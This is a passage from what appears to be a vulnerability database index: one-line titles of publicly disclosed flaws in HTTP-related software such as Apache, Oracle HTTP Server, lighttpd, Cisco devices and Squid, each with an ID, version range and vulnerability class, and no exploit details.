18399| [13595] TP-LINK TD-8817/TD-8840G/TD-W8101G/TD-W8901G 3.11.2 HTTP POST /Forms/tools_test_1 denial of service
18400| [13469] Solarwinds Serv-U FTP Server 15.0.1.20 HTTPS Listener weak encryption
18401| [13341] TYPO3 up to 4.5.33/4.7.18/6.0.13/6.1.8/6.2.2 HTTP Header Host Header spoofing
18402| [13334] Cisco TelePresence System up to 6.0.5.5 HTTPS weak encryption
18403| [13300] Apache HTTP Server 2.4.1/2.4.2 mod_wsgi setuid privilege escalation
18404| [13299] Apache HTTP Server 2.4.1/2.4.2 mod_wsgi Content-Type Header information disclosure
18405| [13240] Django up to 1.7 Redirect django.util.http.is_safe_url privilege escalation
18406| [13214] Cisco IOS 15.3(3)M ScanSafe HTTPS Traffic denial of service
18407| [13589] Digium Asterisk 1.8.15/11.6 HTTPS Connection denial of service
18408| [13153] Cisco ASA 9.1(1) HTTP Server information disclosure
18409| [69449] Cisco ios up to 15.1 HTTP Service denial of service
18410| [13044] Apple iOS up to 7.1 CFNetwork HTTPProtocol information disclosure
18411| [13029] Apple Mac OS X up to 10.7.5/10.8.5/10.9.2 CFNetwork HTTPProtocol information disclosure
18412| [12893] Oracle Containers for J2EE 10.1.3.5 HTTP Request unknown vulnerability
18413| [12892] Oracle Containers for J2EE 10.1.3.5 HTTP Request unknown vulnerability
18414| [12884] Oracle Containers for J2EE 10.1.3.5 HTTP Request unknown vulnerability
18415| [12863] Cisco ASA up to 9.1 SIP HTTP POST Request denial of service
18416| [12862] Cisco ASA up to 9.1 SSL VPN Authentication HTTP POST Request weak authentication
18417| [12832] Cisco ONS 15454 HTTP URI denial of service
18418| [12787] lighttpd denial of service
18419| [12784] Cisco Security Manager 4.2 HTTP Header Open Redirect
18420| [12741] Trustwave ModSecurity up to 2.7.6 Chunked HTTP Transfer apache2/modsecurity.c modsecurity_tx_init Trailing Header privilege escalation
18421| [13384] Apache Tomcat up to 6.0.39/7.0.53/8.0.5 Chunked HTTP Request denial of service
18422| [12704] Cisco IOS 15.1/15.2/15.3/15.4 SSL VPN HTTP denial of service
18423| [13580] Check Point Firewall R77/R77.10 HTTPS URL denial of service
18424| [12667] Apache HTTP Server 2.4.7 mod_log_config.c log_cookie denial of service
18425| [66689] Apache HTTP Server up to 2.0.33 mod_dav dav_xml_get_cdata denial of service
18426| [12691] VideoLAN VLC Media Player up to 2.1.3 src/network/httpd.c GET Request cross site scripting
18427| [12672] Cisco WebEx Meeting Center HTTP GET information disclosure
18428| [66642] lighttpd up to 1.4.34 mod_evhost directory traversal
18429| [12614] lighttpd 1.4.34 mod_evhost/mod_simple_vhost directory traversal
18430| [12613] lighttpd up to 1.4.34 MySQL Virtual Hosting Module mod_mysql_vhost.c sql injection
18431| [12641] Digium Asterisk 12.0.0 Cookie main/http.c memory corruption
18432| [12518] Apache Tomcat up to 6.0.38/7.0.49/8.0.0-RC9 HTTP Header denial of service
18433| [12785] Barracuda Backup up to 4.3.06/5.1.00 External Backup Module HTTP POST Request cross site scripting
18434| [12457] HP Service Manager 9.30/9.31/9.32/9.33 HTTP Request cross site request forgery
18435| [12387] Fortinet FortiWeb 5.0.2 HTTP Header cross site scripting
18436| [12271] Microsoft .NET Framework up to 4.5.1 HTTP POST denial of service
18437| [12144] IBM InfoSphere 9.0/9.1/10.0/10.1/11.0 HTTP Request cross site request forgery
18438| [12119] Pidgin 2.10.7 HTTP Response Negative Value memory corruption
18439| [12117] Pidgin up to 2.10.7 Gadu-Gadu HTTP Response Integer memory corruption
18440| [12115] Pidgin 2.10.7 HTTP Response memory corruption
18441| [12108] Pidgin 2.10.7 HTTP Response Crash denial of service
18442| [66113] httplib2 up to 0.8 spoofing
18443| [11998] VMware vCloud Director 5.1.2 HTTP Request cross site request forgery
18444| [11829] Oracle HTTP Server 11.1.1.6.0/11.1.1.7.0/11.1.2.1 OSSL Module Stored privilege escalation
18445| [11821] Oracle HTTP Server 11.1.1.6.0/11.1.1.7.0/11.1.2.1 Web Listener cross site scripting
18446| [11817] Oracle HTTP Server 11.1.1.6.0/11.1.1.7.0/11.1.2.1 OSSL Module information disclosure
18447| [11816] Oracle HTTP Server 10.1.3.5.0/11.1.1.6.0/11.1.1.7.0/11.1.2.1 OSSL Module memory corruption
18448| [11814] Oracle HTTP Server 11.1.1.6.0/11.1.1.7.0/11.1.2.1/12.1.2.0 Web Listener privilege escalation
18449| [11812] Oracle HTTP Server 11.1.1.6.0/11.1.1.7.0/11.1.2.1 OSSL Module memory corruption
18450| [11787] Juniper Junos 10.4/11.4/12.1r/12.1x44/12.1x45 on SRX flowd Service HTTP Traffic denial of service
18451| [12136] haxx.se cURL up to 7.34.0 HTTP NTLM Connection weak authentication
18452| [12123] Motorola SBG6580 6.5.0.0-GA-00-226-NOSH Web Access /goform/login HTTP POST Request denial of service
18453| [11616] cPanel WHM 11.36.2.9/11.38.2.12/11.40.0.28/11.40.1.2 cpsrvd HTTP Request Bypass privilege escalation
18454| [65806] IBM Sterling Connect Enterprise Http Option up to 1.3.1 cross site scripting
18455| [65756] GNU libmicrohttpd up to 0.9.31 MHD_digest_auth_check memory corruption
18456| [65755] GNU libmicrohttpd up to 0.9.31 MHD_http_unescape denial of service
18457| [11407] TP-LINK TL-WR740N 3.12.11 Build 120320 Rel.51047n HTTP Server Accept-Encoding Header Crash denial of service
18458| [65578] Gummy Bear FTP Drive + HTTP Server up to 1.0.4 directory traversal
18459| [11320] Instagram/Flattr 4.0.2/4.1.2/4.2.7 on iOS/Android HTTP POST Request Photo Upload weak encryption
18460| [11307] Thomson Reuters Velocity Analytics Vhayu Analytic Server Input Sanitizer /VhttpdMgr privilege escalation
18461| [11182] Google Chrome 30.0.1599.101 HTTP 1xx Parsing http_stream_parser.cc QuickGetNext memory corruption
18462| [65451] Cisco Prime Central for Hosted Collaboration Solution HTTP Service Flooding denial of service
18463| [11098] Apache Tomcat 5.5.25 HTTP Request cross site request forgery
18464| [11097] lighttpd up to 1.4.33 ssl.cipher-lister weak encryption
18465| [65391] Varnish up to 3.0.4 Crash denial of service
18466| [11663] Python 2.7.5/3.3.3 RC 1 Lib/CGIHTTPServer.py CGIHTTPRequestHandler directory traversal
18467| [65363] F5 Big-ip Protocol Security Module up to 9.4.6 Accelerator denial of service
18468| [10981] Cisco Content Security Management Appliance up to 8.1 HTTP/HTTPS Request denial of service
18469| [10660] Cisco ASA up to 9.1(1.1) HTTP Deep Packet Inspection Malformed Response denial of service
18470| [10657] Cisco ASA up to 9.1(1.3) Clientless SSL VPN HTTPS Request denial of service
18471| [10596] libxml2 Socket nanohttp.c xmlNanoHTTPConnectAttempt denial of service
18472| [11250] HP 2620 Switch HTTP Request html/json.html cross site request forgery
18473| [10503] Blue Coat Security Gateway OS up to 6.5.1 HTTP RW Pipeline Pre-Fetch Requests Memory Leak memory corruption
18474| [10842] Google Chrome 30.0.1599.69 xml/XMLHttpRequest.cpp internalAbort memory corruption
18475| [10645] Http-body Project Perl 1.08 Temp File Name HTTP::Body::Multipart privilege escalation
18476| [10080] IBM WebSphere Commerce up to 7.0.0.7 Accelerator cross site scripting
18477| [10559] Google Chrome 29.0.1547.76 GPU Video Accelerator gpu_video_decode_accelerator_host.cc Error memory corruption
18478| [11233] MediaWiki 1.19.8/1.20.7/1.21.2 HTTP Header Caching weak authentication
18479| [9891] Apache HTTP Server 2.2.22 suEXEC Feature .htaccess information disclosure
18480| [9889] Mozilla Firefox/Thunderbird XMLHttpRequest Calls Crash cross site scripting
18481| [9895] Nmap 6.25 http-domino-enum-passwords.nse privilege escalation
18482| [64607] Monkey HTTP Daemon 1.1.1 mk_request.c mk_request_header_process denial of service
18483| [64597] Vector Ultra Mini HTTPD 1.21 Stack-based memory corruption
18484| [64567] Monkey HTTP Daemon 1.2.2 cross site scripting
18485| [9717] Samsung PS50C7700 HTTP Request denial of service
18486| [9683] Apache HTTP Server 2.4.5 mod_session_dbd denial of service
18487| [9606] Oracle HTTP Server 10.1.3.5.0 Web Listener information disclosure
18488| [9605] Oracle HTTP Server 10.1.3.5.0 Web Listener Out-of-Bounds cross site scripting
18489| [9604] Oracle HTTP Server Web Listener Memory Consumption denial of service
18490| [9603] Oracle HTTP Server Web Listener denial of service
18491| [9602] Oracle HTTP Server Web Listener cross site scripting
18492| [9601] Oracle HTTP Server 10.1.3.5.0 Web Listener cross site scripting
18493| [9600] Oracle HTTP Server 10.1.3.5.0 Web Listener cross site scripting
18494| [9599] Oracle HTTP Server 10.1.3.5.0 Web Listener cross site scripting
18495| [9597] Oracle HTTP Server 10.1.3.5.0 Web Listener memory corruption
18496| [9596] Oracle HTTP Server Web Listener Memory Consumption denial of service
18497| [9595] Oracle HTTP Server Web Listener Crash denial of service
18498| [9594] Oracle HTTP Server 2.2.9 Proxy Plug-In mod_proxy_http.c information disclosure
18499| [9547] Squid Proxy up to 3.3.7 HTTP Request denial of service
18500| [9526] Squid Proxy up to 3.3.6 dns_internal.cc idnsALookup HTTP Request denial of service
18501| [9510] Juniper Junos 10.4/11.4/12.1/12.1x44 HTTP Request memory corruption
18502| [9456] Google Chrome up to 27.0.1453.116 HTTP over SSL information disclosure
18503| [9478] Google Chrome 25.0.1364.152 xml/XMLHttpRequest.cpp setRequestHeader spoofing
18504| [9279] Cisco Web/Mail Security Appliance up to 7.7/8.1 Web Framework HTTP/HTTPS Request denial of service
18505| [9288] Mozilla Firefox up to 21.0 XHR HEAD Request XMLHttpRequest (XHR) HEAD cross site request forgery
18506| [9242] Canon HTTP Request cgi_lan.cgi denial of service
18507| [9076] Wireshark up to 1.8.7 HTTP Dissector packet-http.c http_payload_subdissector Crafted Packet denial of service
18508| [8915] IBM WebSphere Portal up to 8.0 HTTP spoofing
18509| [8813] thttpd 2.25b WebService information disclosure
18510| [8810] WebKitGTK+ HTTPS/SSL Certificate spoofing
18511| [8722] Microsoft Windows 8/RT/Server 2012 HTTP.sys denial of service
18512| [8746] Apache HTTP Server Log File Terminal Escape Sequence Filtering mod_rewrite.c do_rewritelog privilege escalation
18513| [8618] nginx 1.3.9/1.4.0 http/ngx_http_parse.c ngx_http_parse_chunked() memory corruption
18514| [8509] D-Link DIR-300 1.05 HTTP Header tools_vct.xgi race condition
18515| [8314] Oracle HTTP Server 11.1.1.6.0 Web Listener cross site scripting
18516| [8313] Oracle HTTP Server Web Listener Heap-based denial of service
18517| [8310] Oracle HTTP Server Web Listener information disclosure
18518| [8309] Oracle HTTP Server Web Listener information disclosure
18519| [8308] Oracle HTTP Server Web Listener denial of service
18520| [8307] Oracle HTTP Server 10.1.3.5/11.1.1.5.0/11.1.1.6.0 Web Listener unknown vulnerability
18521| [8306] Oracle HTTP Server Web Listener denial of service
18522| [8305] Oracle HTTP Server Web Listener information disclosure
18523| [8304] Oracle HTTP Server Web Listener information disclosure
18524| [8303] Oracle HTTP Server 11.1.1.6.0 ModSecurity denial of service
18525| [8300] Oracle HTTP Server Web Listener denial of service
18526| [8299] Oracle HTTP Server Web Listener denial of service
18527| [8298] Oracle HTTP Server Web Listener denial of service
18528| [8294] Oracle Database Server up to 4.2.1 HTTP unknown vulnerability
18529| [8293] Oracle Database Server 11.2.0.2/11.2.0.3 HTTP memory corruption
18530| [63967] John Nunemaker httparty up to 0.2.0 memory corruption
18531| [63884] Varnish 6.x-1.0/6.x-1.1/6.x-1.x/7.x-1.0/7.x-1.x cross site scripting
18532| [8121] Digium Asterisk up to 1.8.20.1 main/http.c ast_http_get_post_vars denial of service
18533| [8082] IBM Lotus Domino up to 8.5.3 HTTP Server Crash denial of service
18534| [8076] TP-LINK WR740N Wireless N Router up to 3.16.4 HTTP Request Crash denial of service
18535| [8012] Apple Mac OS X 10.8.3 IOAcceleratorFamily memory corruption
18536| [7890] Squid Proxy up to 3.2.7 http.cc httpMakeVaryMark denial of service
18537| [7847] Cisco Aironet Access Point 7.3(101.0) HTTP Profiling Feature Crash denial of service
18538| [7843] D-Link DIR-645 Firmware 1.02 Authentication /getcfg.php HTTP Request information disclosure
18539| [63646] Apache HTTP Server up to 2.2.23/2.4.3 mod_proxy_balancer.c balancer_handler cross site scripting
18540| [63630] Infradead OpenConnect up to 4.07 http.c memory corruption
18541| [7784] Alt-N MDaemon up to 13.0.3 HTTP Requests Sanitizer WorldClient.dll information disclosure
18542| [7810] IBM HTTP Server up to 8.5.0.2 mod_info cross site scripting
18543| [7733] Pidgin 2.10.6 http.c mxit_cb_http_read memory corruption
18544| [7732] Pidgin 2.10.6 http.c mxit_cb_http_read memory corruption
18545| [7701] IBM WebSphere Message up to 8.0 HTTPInput Node denial of service
18546| [7510] Microsoft Internet Explorer 8/9 HTTP/HTTPS Request spoofing
18547| [7465] Cisco Wireless LAN Controller up to 7.2 HTTP Profiling Feature memory corruption
18548| [7445] F5 BIG-IP 11.0.0/11.1.0/11.2.0/11.2.1 Accelerator saveSettings.php sql injection
18549| [7343] Microsoft Lync 2012 HTTP Format String
18550| [12075] Python Software Foundation BaseHTTPServer 0.6 HTTP Request denial of service
18551| [63300] ELinks 0.12 http_negotiate_create_context unknown vulnerability
18552| [7246] Digium Asterisk up to 11.1.1 AMI main/http.c ast_http_get_post_vars denial of service
18553| [7232] Digium Asterisk 1.8/10/11 Device State Caching SIP/HTTP/XMPP denial of service
18554| [7231] Digium Asterisk 1.8/10/11 TCP Session SIP/HTTP/XMPP denial of service
18555| [7202] Apache HTTP Server 2.4.2 on Oracle Solaris ld_library_path cross site scripting
18556| [7209] NetIQ eDirectory up to 8.8.7.1 on Windows HTTP Request Crash denial of service
18557| [10527] Blue Coat Reporter 9.3 HTTP Traffic weak encryption
18558| [7118] Microsoft Windows Server 2008 R2/Server 2012 IP-HTTPS unknown vulnerability
18559| [8189] Apple CUPS 1.6.1 cups/http-support.c http_resolve_cb denial of service
18560| [7094] IBM Tivoli Monitoring up to 6.2.3 HTTP Service Console cross site scripting
18561| [63089] Apache HTTP Server up to 2.2.13 mod_proxy_ajp denial of service
18562| [7098] Diga plc Qt 4.8.3 XmlHttpRequest Object information disclosure
18563| [7013] lighttpd 1.4.31/1.4.32 src/request.c http_request_split_value() denial of service
18564| [7012] Instagram up to 3.1.2 on iOS HTTP Plaintext weak encryption
18565| [6996] Opera Web Browser 12.10 HTTP Response Heap-based memory corruption
18566| [6981] Mozilla Firefox/Thunderbird 16.0.1/16.0.2 XMLHttpRequest Sandbox Bypass privilege escalation
18567| [62981] django up to 1.4.1 django.http.HttpRequest.get_host cross site request forgery
18568| [62830] Apache Commons-httpclient 3.0 Payments spoofing
18569| [6821] IBM Tivoli 6.2.3/6.2.3.1 HTTP Server TRACE/TRACK cross site scripting
18570| [6748] Oracle Central Designer 1.3/1.4/1.4.2 HTTP unknown vulnerability
18571| [11633] Python 2.6.8/2.7.3/3.3.2 HTTP read_status HTTP Header denial of service
18572| [6562] Novell GroupWise 2012/8.0/8.00/8.01/8.02 HTTP interfaces Integer directory traversal
18573| [6510] Apple iOS up to 5.1.1 WebKit WebSockets HTTP Response Header privilege escalation
18574| [6297] Novell GroupWise up to 2012 Web Admin Interface gwia.exe HTTP Header memory corruption
18575| [6301] Apache HTTP Server mod_pagespeed cross site scripting
18576| [6300] Apache HTTP Server mod_pagespeed Hostname information disclosure
18577| [6075] Google Chrome 21.0.1180.83 XMLHttpRequest ResourceResponse.cpp race condition
18578| [6068] Mozilla Firefox 14 HTTPMonitor Extension Use-After-Free privilege escalation
18579| [6997] Apache Tomcat 5.5.35/6.0.35/7.0.28 HTTP Digest Authentication Implementation privilege escalation
18580| [6092] Apache HTTP Server 2.4.0/2.4.1/2.4.2 mod_proxy_ajp.c information disclosure
18581| [6090] Apache HTTP Server 2.4.0/2.4.1/2.4.2 mod_proxy_http.c information disclosure
18582| [5984] IBM Lotus Domino up to 8.5.3 HTTP Server cross site scripting
18583| [5907] Novell Remote Manager 2.0.2 Release 99.10 Small Http Interface Daemon ProcessAuthorizationFailure HTTP Header denial of service
18584| [5877] Ruby on Rails up to 3.2.7 http_authentication.rb with_http_digest helper denial of service
18585| [5764] Oracle Solaris 10 Apache HTTP Server information disclosure
18586| [5729] Oracle E-Business Suite 11.5.10.2 on Oracle9i Application Server 1.0.2.2 HTTP Server memory corruption
18587| [5726] Oracle E-Business Suite 11.5.10.2 on Oracle9i Application Server 1.0.2.2 HTTP Server information disclosure
18588| [5707] Oracle Fusion Middleware 10.1.3.5/11.1.1.5/11.1.1.6/11.1.2.0 HTTP Server memory corruption
18589| [5704] Oracle Fusion Middleware 10.1.3.5/11.1.1.5/11.1.2.0 HTTP Server information disclosure
18590| [5572] Python up to 2.7.2 SimpleHTTPServer Module SimpleHTTPServer.py list_directory cross site scripting
18591| [60862] CVS 1.11/1.12 HTTP Proxy Server proxy_connect memory corruption
18592| [9673] Apache HTTP Server up to 2.4.4 mod_dav mod_dav.c Request denial of service
18593| [5312] Mozilla Firefox up to 11.0 RSS/Atom XML HTTPS Content Loading URL spoofing
18594| [5311] Mozilla Firefox up to 11.0 XMLHttpRequest/WebSocket Handling weak authentication
18595| [5309] Mozilla Firefox 11.0 HTTP Redirects & Remote Content information disclosure
18596| [60606] Nsoftware Unitronics UniOPC up to 1.3.7 https50.ocx unspecified memory corruption
18597| [5293] nginx up to 1.1.18 ngx_http_mp4_module MP4 File memory corruption
18598| [5177] McAfee Web Gateway 7.0 HTTP Header Host Field Parser CONNECT Request privilege escalation
18599| [5176] Squid Proxy 3.1.19 HTTP Header Host Field Parser CONNECT Request privilege escalation
18600| [4981] Cisco IOS 12.4/15.0/15.1/15.2 HTTP Inspection Engine HTTP Message denial of service
18601| [4955] Apache Traffic Server 3.0.3/3.1.2 HTTP Header Parser memory corruption
18602| [4884] Apache HTTP Server up to 2.3.6 mod_fcgid fcgid_spawn_ctl.c FcgidMaxProcessesPerClass HTTP Requests denial of service
18603| [4843] nginx up to 1.0.13/1.1.16 HTTP Header Response Parser ngx_http_parse.c information disclosure
18604| [4913] IBM Tivoli Endpoint Manager 8.1 HTTPOnly Flag Cookie Handling information disclosure
18605| [4850] Apple Safari up to 5.1.4 WebKit HTTP Authorization HTTP Header Logging unknown vulnerability
18606| [4707] Novell ZENworks Configuration Management up to 10.3.4 HTTP Trace unknown vulnerability
18607| [4591] Mozilla Firefox up to 3.6.26/6.0 IPv6 Proxy XMLHttpRequest Object information disclosure
18608| [4583] Apache HTTP Server up to 2.2.21 Threaded MPM denial of service
18609| [4582] Apache HTTP Server up to 2.2.21 protocol.c information disclosure
18610| [59826] dhttpd denial of service
18611| [59825] Apache HTTP Server up to 2.1.7 mod_reqtimeout denial of service
18612| [59799] lighttpd up to 1.1.1 http_auth.c base64_decode denial of service
18613| [59556] Apache HTTP Server up to 2.0.53 mod_proxy information disclosure
18614| [59239] IBM HTTP Server up to 2.0.42.1 cross site scripting
18615| [58394] Pidgin up to 2.5.2 Protocol Plugin httpconn.c msn_httpconn_parse_data denial of service
18616| [91156] McAfee Web Gateway 6.8.6.x E-Mail Gateway & HTTP Method Filter List cross site scripting
18617| [58199] shttpd 1.42 Embedded Web Server mongoose.c _shttpd_put_dir memory corruption
18618| [58129] Sunwayland ForceControl 6.1 httpsvr.exe memory corruption
18619| [58125] CA Gateway Security up to 8.0 Icihttp.exe memory corruption
18620| [57891] cURL/libcURL up to 7.15.1 http_negotiate.c Curl_input_negotiate unknown vulnerability
18621| [57888] Apache HttpClient 4.0/4.0.1/4.1 Authorization information disclosure
18622| [4355] Apache HTTP Server APR apr_fnmatch denial of service
18623| [57449] Search.cpan libwww-perl up to 5.64 SSL Certificate Net::HTTPS spoofing
18624| [4352] Apache HTTP Server 2.2.x APR apr_fnmatch denial of service
18625| [57268] Banu Tinyproxy up to 1.8.2 HTTP Proxy Server acl.c unknown vulnerability
18626| [56893] PHP HTTP Proxy Crash denial of service
18627| [4265] Opera Web Browser up to 11.01 on Windows HTTP HTTP Replies/Redirects memory corruption
18628| [62295] SilverStripe up to 2.4.3 Error RequestHandler.php httpError cross site scripting
18629| [4892] WordPress 2.0.2 Comment HTTP Request privilege escalation
18630| [54651] Mozilla Firefox XmlHttpRequest Object cross site scripting
18631| [54841] Salvo Tomaselli Weborf HTTP Server up to 0.12.2 instance.c modURL directory traversal
18632| [4163] Microsoft XML Core Services 3.x HTTP HTTP Response memory corruption
18633| [54231] Eterna bozohttpd up to 20010609 User Account unknown vulnerability
18634| [54230] Eterna bozohttpd 20090522/20100509/20100512 denial of service
18635| [54166] Apache HTTP Server up to 2.2.12 mod_cache Crash denial of service
18636| [53798] Salvo Tomaselli Weborf HTTP Server up to 0.12.1 Connection Header Unicode Crash denial of service
18637| [53611] Standards Based Linux Instrumentation Sblim-sfcb 1.3.4/1.3.5/1.3.6/1.3.7 httpAdapter.c memory corruption
18638| [53610] Standards Based Linux Instrumentation Sblim-sfcb 1.3.4/1.3.5/1.3.6/1.3.7 httpAdapter.c memory corruption
18639| [53534] Salvo Tomaselli Weborf HTTP Server up to 0.12.0 Range Header Crash denial of service
18640| [53014] Lexmark C920 Embedded HTTP Server denial of service
18641| [52988] IBM up to 3.7.3.9 Accelerator denial of service
18642| [52843] Apache HTTP Server mod_auth_shadow unknown vulnerability
18643| [52826] Jasper httpdx 1.4/1.4.5/1.4.6/1.4.6b/1.5 Default Password weak authentication
18644| [52583] Varnish up to 2.0.6 Administration Interface cross site request forgery
18645| [52544] Apple iPhone OS 3.1 HTTP Client Crash denial of service
18646| [53437] Http-solution Project Man up to 1.0 Login login.php sql injection
18647| [51887] Google Chrome up to 2.0.172.32 HTTP Logging information disclosure
18648| [51757] Apache HTTP Server 2.0.44 cross site scripting
18649| [51756] Apache HTTP Server 2.0.44 spoofing
18650| [51734] lighttpd up to 1.1.1 Memory Consumption denial of service
18651| [51717] Apache HTTP Server up to 1.3.3 mod_proxy ap_proxy_send_fb memory corruption
18652| [51537] Acme thttpd 2.25 Terminal privilege escalation
18653| [51536] Acme Mini HTTPd 1.19 Terminal privilege escalation
18654| [51534] Varnish 2.0.6 Terminal privilege escalation
18655| [51290] Pps.jussieu Polipo 1.0.4 http_parse.c httpParseHeaders denial of service
18656| [51055] Frank Yaul CoreHTTP 0.5.3.1 Off-By-One memory corruption
18657| [51295] Pps.jussieu Polipo 0.9.8/0.9.12/1.0.4 client.c httpClientDiscardBody denial of service
18658| [50927] Javascript Xerver HTTP Server 4.31 unknown vulnerability
18659| [86836] httpdx HTTP Server tolog Format String
18660| [52825] Jasper httpdx 1.4/1.4.5/1.4.6/1.4.6b/1.5 tolog memory corruption
18661| [50726] Cherokee httpd 0.5.4 directory traversal
18662| [51396] Jasper httpdx 1.4/1.4.3/1.4.4 unknown vulnerability
18663| [50469] Jasper httpdx 1.4/1.4.3 http.cpp h_handlepeer memory corruption
18664| [50409] Jasper httpdx 1.4 http.c h_readrequest memory corruption
18665| [49935] Silcnet Silc Toolkit up to 1.0 silchttpserver.c silc_http_server_parse memory corruption
18666| [49857] Apache HTTP Server mod_proxy_ftp cross site scripting
18667| [49856] Apache HTTP Server 2.2.13 mod_proxy_ftp ap_proxy_ftp_handler denial of service
18668| [49549] ntop 3.3.10 Authorization http.c checkHTTPpassword denial of service
18669| [49520] fhttpd 0.4.2 Authorization Crash denial of service
18670| [49436] DD-WRT 24 httpd.c unknown vulnerability
18671| [49208] Joompolitan Com Livechat 1.0 HTTP Proxy xmlhttp.php unknown vulnerability
18672| [49178] Squid Proxy up to 3.1.0.11 HttpMsg.cc denial of service
18673| [49177] Squid Proxy up to 3.1.0.11 HttpMsg.cc denial of service
18674| [49435] DD-WRT 24 httpd.c privilege escalation
18675| [48952] Apache HTTP Server up to 1.3.6 mod_deflate denial of service
18676| [48898] eAccelerator 0.9.4/0.9.5/0.9.5.1/0.9.5.2/0.9.5.3 encoder.php memory corruption
18677| [3992] Google Chrome up to 2.0.172 HTTP Response memory corruption
18678| [3983] Microsoft Internet Explorer 6/7 xmlHttpRequest memory corruption
18679| [86716] GlassFish Enterprise Server httpListenerEdit.jsf cross site scripting
18680| [47829] Sebastian Fernandez Zervit 0.02 libz/misc.c http_parse_hex memory corruption
18681| [3950] Microsoft Windows HTTP Service memory corruption
18682| [47568] Versalsoft Http File Upload Activex Control 6.0.0.35 ActiveX Control UUploaderSvrD.dll unknown vulnerability
18683| [3934] Blue Coat t Security Gateway O 3.x HTTP unknown vulnerability
18684| [46372] Squid Proxy up to 3.1.0.4 HttpMsg.c denial of service
18685| [3930] Mozilla Firefox up to 3.0.5 HTTP Directive information disclosure
18686| [3929] Mozilla Firefox 3.0 HTTPOnly Cookie information disclosure
18687| [3907] Cisco IOS up to 12.4 HTTP cross site scripting
18688| [3906] Cisco IOS up to 12.4 HTTP ping cross site scripting
18689| [45525] PHP up to 5.2.6 htaccess httpd.conf cross site scripting
18690| [45187] Streamripper 1.63.5 lib/http.c http_get_m3u memory corruption
18691| [45030] Novell eDirectory up to 8.8.2 HTTP Protocol Stack Stack-Based cross site scripting
18692| [45029] Novell eDirectory up to 85.20 HTTP Protocol Stack Stack-based memory corruption
18693| [44776] Andrei Zmievski Snoopy up to 1.2.3 _httpsrequest privilege escalation
18694| [44691] Cisco PIX/ASA Accelerator Memory Leak denial of service
18695| [44319] lighttpd up to 1.1.1 mod_userdir unknown vulnerability
18696| [44318] lighttpd up to 1.1.9 Access Restriction information disclosure
18697| [44230] lighttpd up to 1.1.1 request.c http_request_parse denial of service
18698| [44213] Cisco IOS up to 12.4xw HTTP Deep Packet Inspection denial of service
18699| [43824] Craftysyntax Crafty Syntax Live Help up to 1.7 is_xmlhttp.php sql injection
18700| [43713] SpeedBit Download Accelerator Plus 8.6 ActiveX Control AniGIF.ocx memory corruption
18701| [43705] HAVP HTTP Antivirus Proxy 0.88 sockethandler.cpp denial of service
18702| [43673] Ruby up to 1.9.0 HTTPUtils.split_header_value denial of service
18703| [43556] Apache HTTP Server up to 2.1.8 mod_proxy_ftp proxy_ftp.c cross site scripting
18704| [43505] SpeedBit Speedbit Video Accelerator up to 2.2.0.6 DNS Cache memory corruption
18705| [43499] SpeedBit Download Accelerator Plus up to 8.0 memory corruption
18706| [43211] Speedbit Download Accelerator Plus 7.0.1.3 dap.exe memory corruption
18707| [42813] Sun Java System Calendar Server 6 service.http.commandlog.all denial of service
18708| [42752] Lavrsen Motion up to 3.2.10 webhttpd.c read_client memory corruption
18709| [42656] CA eTrust Secure Content Manager 8.0 icihttp.exe memory corruption
18710| [42325] Apache HTTP Server up to 2.1.8 Error Page cross site scripting
18711| [42215] Peercast 0.1218 http::getauthuserpass memory corruption
18712| [3679] Adobe Flash Player up to 9.0.124.0 HTTP Header cross site scripting
18713| [41833] Perlbal 1.60 clienthttpbase.pm _serve_request_multiple directory traversal
18714| [41828] Chilkat Software ChilkatHttp ActiveX up to 2.3.0.0 ActiveX Control chilkathttp.dll unknown vulnerability
18715| [41748] Microsoft Internet Explorer 7 XMLHttpRequest Calls privilege escalation
18716| [41747] Microsoft Internet Explorer 6 XMLHttpRequest Calls information disclosure
18717| [41730] lighttpd 1.4.9/1.4.19 connections.c connection_state_machine denial of service
18718| [41427] lighttpd 1.4.18 mod_userdir unknown vulnerability
18719| [41346] Simm-comm SCI Photo Chat up to 3.4.9 Embedded HTTP Server directory traversal
18720| [41329] lighttpd 1.4.18 mod_cgi information disclosure
18721| [41234] lighttpd up to 1.4.18 Out-of-Bounds denial of service
18722| [41162] Now Sms Mms Gateway up to 2007.06.27 HTTP Service Stack-based memory corruption
18723| [41035] Group Logic ExtremeZ-IP File and Print Server up to 5.1.2 Embedded HTTP Server directory traversal
18724| [40874] RaidenHTTPD 2.0.19 cross site scripting
18725| [8090] libxml2 up to 2.6.28 xmlNanoHTTPMethodRedir denial of service
18726| [40725] HFS HTTP File Server up to 2.x information disclosure
18727| [40724] HFS HTTP File Server up to 2.x cross site scripting
18728| [40723] HFS HTTP File Server up to 2.x unknown vulnerability
18729| [40722] HFS HTTP File Server up to 2.x spoofing
18730| [40721] HFS HTTP File Server up to 2.x Crash denial of service
18731| [40720] HFS HTTP File Server up to 2.x directory traversal
18732| [40710] Apache HTTP Server up to 2.0.61 mod_negotiation cross site scripting
18733| [40709] Apache HTTP Server up to 2.0.53 mod_negotiation cross site scripting
18734| [40663] BitDefender Update Server Enterprise Manager http.exe directory traversal
18735| [40602] MiniWeb HTTP Server 0.8.19 http.c mwgetlocalfilename directory traversal
18736| [40601] MiniWeb HTTP Server 0.8.19 http.c _mwprocessreadsocket memory corruption
18737| [40503] Apache HTTP Server mod_proxy_ftp cross site scripting
18738| [40502] Apache HTTP Server up to 2.2.5 mod_proxy_balancer memory corruption
18739| [40501] Apache HTTP Server 2.2.6 mod_proxy_balancer cross site request forgery
18740| [40398] Apache HTTP Server up to 2.2 mod_proxy_balancer cross site scripting
18741| [40397] Apache HTTP Server up to 2.2 mod_proxy_balancer balancer_handler denial of service
18742| [3527] Adobe Flash Player up to 9.0.115.0 HTTP cross site scripting
18743| [40345] SourceForge Creammonkey 0.9/1.0/1.1 gm_xmlhttprequest privilege escalation
18744| [40575] VideoLAN VLC 0.8.6d network/httpd.c httpd_filecallback memory corruption
18745| [40221] Apache HTTP Server 2.2.6 information disclosure
18746| [40148] PeerCast 0.1211/0.1212/0.1215/0.1217/Svn 344 servhs.cpp handshakehttp memory corruption
18747| [40147] Raiden Professional Servers raidenhttpd 2.0.19 Admin Function workspace.php webadmin directory traversal
18748| [40017] Sergey Lyubka Simple HTTPD 1.3 aux denial of service
18749| [39999] HttpLogger 0.8.1 cross site scripting
18750| [40088] Sergey Lyubka HTTPD 1.34/1.35/1.38 CGI Program unknown vulnerability
18751| [40087] Sergey Lyubka HTTPD up to 1.38 directory traversal
18752| [3489] Apache HTTP Server 2.x HTTP Header cross site scripting
